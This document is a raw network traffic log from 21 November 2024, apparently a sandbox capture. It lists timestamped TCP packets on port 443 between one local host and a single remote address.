Nov 21, 2024 03:08:49.651139021 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.651278973 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.651294947 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.651493073 CET	443	49761	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.651667118 CET	443	49761	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.653472900 CET	49761	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.653497934 CET	49761	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.653497934 CET	49761	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.653506994 CET	443	49761	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.653517008 CET	443	49761	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.655539036 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.655584097 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.655683041 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.655795097 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.655803919 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.677692890 CET	443	49765	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.677761078 CET	443	49765	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.677856922 CET	49765	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.678034067 CET	49765	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.678057909 CET	443	49765	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.678071976 CET	49765	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.678078890 CET	443	49765	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.680346966 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.680372000 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.680452108 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.680641890 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.680654049 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.801162958 CET	443	49764	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.801219940 CET	443	49764	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.801347017 CET	49764	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.801629066 CET	49764	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.801660061 CET	443	49764	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.801675081 CET	49764	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.801682949 CET	443	49764	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.804970980 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.805001974 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.805525064 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.805684090 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.805697918 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.429152012 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.429683924 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.429712057 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.430262089 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.430268049 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.484282017 CET	443	49766	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.484846115 CET	49766	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.484910011 CET	443	49766	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.485312939 CET	49766	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.485327959 CET	443	49766	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.505249977 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.505578995 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.505600929 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.505929947 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.505934954 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.518754005 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.519166946 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.519186020 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.519548893 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.519555092 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.531568050 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.532524109 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.532536030 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.532895088 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.532898903 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.878185034 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.878264904 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.878329992 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.878520012 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.878561974 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.878591061 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.878607988 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.881618977 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.881642103 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.881742001 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.881944895 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.881958008 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.935815096 CET	443	49766	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.935975075 CET	443	49766	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.936048985 CET	49766	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.936177015 CET	49766	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.936198950 CET	443	49766	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.936212063 CET	49766	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.936218023 CET	443	49766	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.938848972 CET	49772	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.938885927 CET	443	49772	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.938971043 CET	49772	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.939114094 CET	49772	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.939129114 CET	443	49772	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.952655077 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.952709913 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.952766895 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.952868938 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.952892065 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.952907085 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.952914000 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.954802990 CET	49773	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.954834938 CET	443	49773	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.954905987 CET	49773	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.955044031 CET	49773	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.955059052 CET	443	49773	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.977586985 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.977766037 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.977833986 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.977881908 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.977890015 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.977899075 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.977902889 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.979778051 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.979789972 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.979851961 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.979963064 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.979971886 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.984949112 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.985115051 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.985196114 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.985196114 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.985245943 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.985256910 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.987112045 CET	49775	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.987133026 CET	443	49775	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:51.987231970 CET	49775	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.987389088 CET	49775	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:51.987401962 CET	443	49775	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.716969967 CET	443	49772	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.717551947 CET	49772	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:53.717570066 CET	443	49772	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.718017101 CET	49772	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:53.718022108 CET	443	49772	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.725016117 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.725538969 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:53.725555897 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.725914955 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:53.725940943 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.733098030 CET	443	49773	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.733530045 CET	49773	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:53.733566999 CET	443	49773	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.733830929 CET	49773	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:53.733836889 CET	443	49773	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.765904903 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.766563892 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:53.766585112 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.766942024 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:53.766947031 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.836874962 CET	443	49775	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.837451935 CET	49775	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:53.837472916 CET	443	49775	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:53.837822914 CET	49775	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:53.837831020 CET	443	49775	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.160223961 CET	443	49772	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.160293102 CET	443	49772	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.160351992 CET	49772	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.160579920 CET	49772	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.160602093 CET	443	49772	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.160649061 CET	49772	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.160655022 CET	443	49772	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.163655043 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.163685083 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.163789034 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.163976908 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.163990021 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.178093910 CET	443	49773	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.178149939 CET	443	49773	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.178205967 CET	49773	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.178328991 CET	49773	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.178348064 CET	443	49773	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.178361893 CET	49773	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.178368092 CET	443	49773	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.178729057 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.178793907 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.178848028 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.178910971 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.178910971 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.178924084 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.178932905 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.181396961 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.181416035 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.181441069 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.181464911 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.181514978 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.181554079 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.181669950 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.181688070 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.181698084 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.181711912 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.210072994 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.210243940 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.210294008 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.211927891 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.211937904 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.211950064 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.211954117 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.214375973 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.214392900 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.214488029 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.214607000 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.214616060 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.330461979 CET	443	49775	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.330658913 CET	443	49775	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.330806971 CET	49775	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.330869913 CET	49775	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.330883980 CET	443	49775	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.330898046 CET	49775	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.330904961 CET	443	49775	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.333628893 CET	49780	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.333655119 CET	443	49780	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:54.333724022 CET	49780	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.333914995 CET	49780	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:54.333929062 CET	443	49780	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:55.962157011 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:55.966685057 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:55.966698885 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:55.967159986 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:55.967165947 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.006752014 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.007095098 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.007122040 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.007507086 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.007514000 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.016848087 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.017132044 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.017143011 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.017513037 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.017518044 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.042570114 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.042920113 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.042928934 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.043324947 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.043329954 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.057591915 CET	443	49780	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.057859898 CET	49780	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.057888031 CET	443	49780	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.058202982 CET	49780	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.058209896 CET	443	49780	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.405884027 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.405951023 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.405998945 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.406167030 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.406173944 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.406184912 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.406189919 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.408987045 CET	49781	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.409002066 CET	443	49781	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.409058094 CET	49781	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.409461975 CET	49781	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.409473896 CET	443	49781	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.460397005 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.460470915 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.460520983 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.460768938 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.460777998 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.460789919 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.460794926 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.463582039 CET	49782	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.463599920 CET	443	49782	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.463661909 CET	49782	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.464021921 CET	49782	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.464036942 CET	443	49782	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.466264963 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.466417074 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.466522932 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.466552973 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.466576099 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.466588974 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.466594934 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.468341112 CET	49783	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.468374968 CET	443	49783	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.468425989 CET	49783	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.468533993 CET	49783	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.468544006 CET	443	49783	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.490829945 CET	443	49780	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.490910053 CET	443	49780	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.491075039 CET	49780	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.491117954 CET	49780	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.491136074 CET	443	49780	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.491148949 CET	49780	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.491156101 CET	443	49780	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.493175030 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.493201971 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.493278980 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.493405104 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.493413925 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.518105030 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.518161058 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.518234968 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.518393993 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.518407106 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.518419981 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.518424988 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.522097111 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.522140026 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:56.522205114 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.522368908 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:56.522386074 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.189568043 CET	443	49781	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.190032959 CET	49781	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.190048933 CET	443	49781	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.190699100 CET	49781	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.190702915 CET	443	49781	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.199510098 CET	443	49782	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.199841022 CET	49782	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.199851990 CET	443	49782	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.200248957 CET	49782	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.200254917 CET	443	49782	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.200515032 CET	443	49783	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.200788975 CET	49783	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.200797081 CET	443	49783	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.201143026 CET	49783	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.201148033 CET	443	49783	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.208560944 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.208945036 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.208967924 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.209359884 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.209364891 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.304840088 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.305205107 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.305229902 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.305635929 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.305641890 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.637175083 CET	443	49782	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.637243986 CET	443	49782	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.637298107 CET	443	49781	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.637326002 CET	49782	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.637362003 CET	443	49781	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.637645006 CET	49782	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.637660027 CET	443	49782	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.637681007 CET	49781	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.637696028 CET	49782	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.637701988 CET	443	49782	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.637732983 CET	49781	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.637756109 CET	443	49781	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.637775898 CET	49781	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.637788057 CET	443	49781	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.638008118 CET	443	49783	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.638077974 CET	443	49783	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.640702009 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.640738964 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.640762091 CET	49783	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.640794039 CET	49783	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.640799999 CET	443	49783	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.640809059 CET	49783	443	192.168.2.5	13.107.246.45
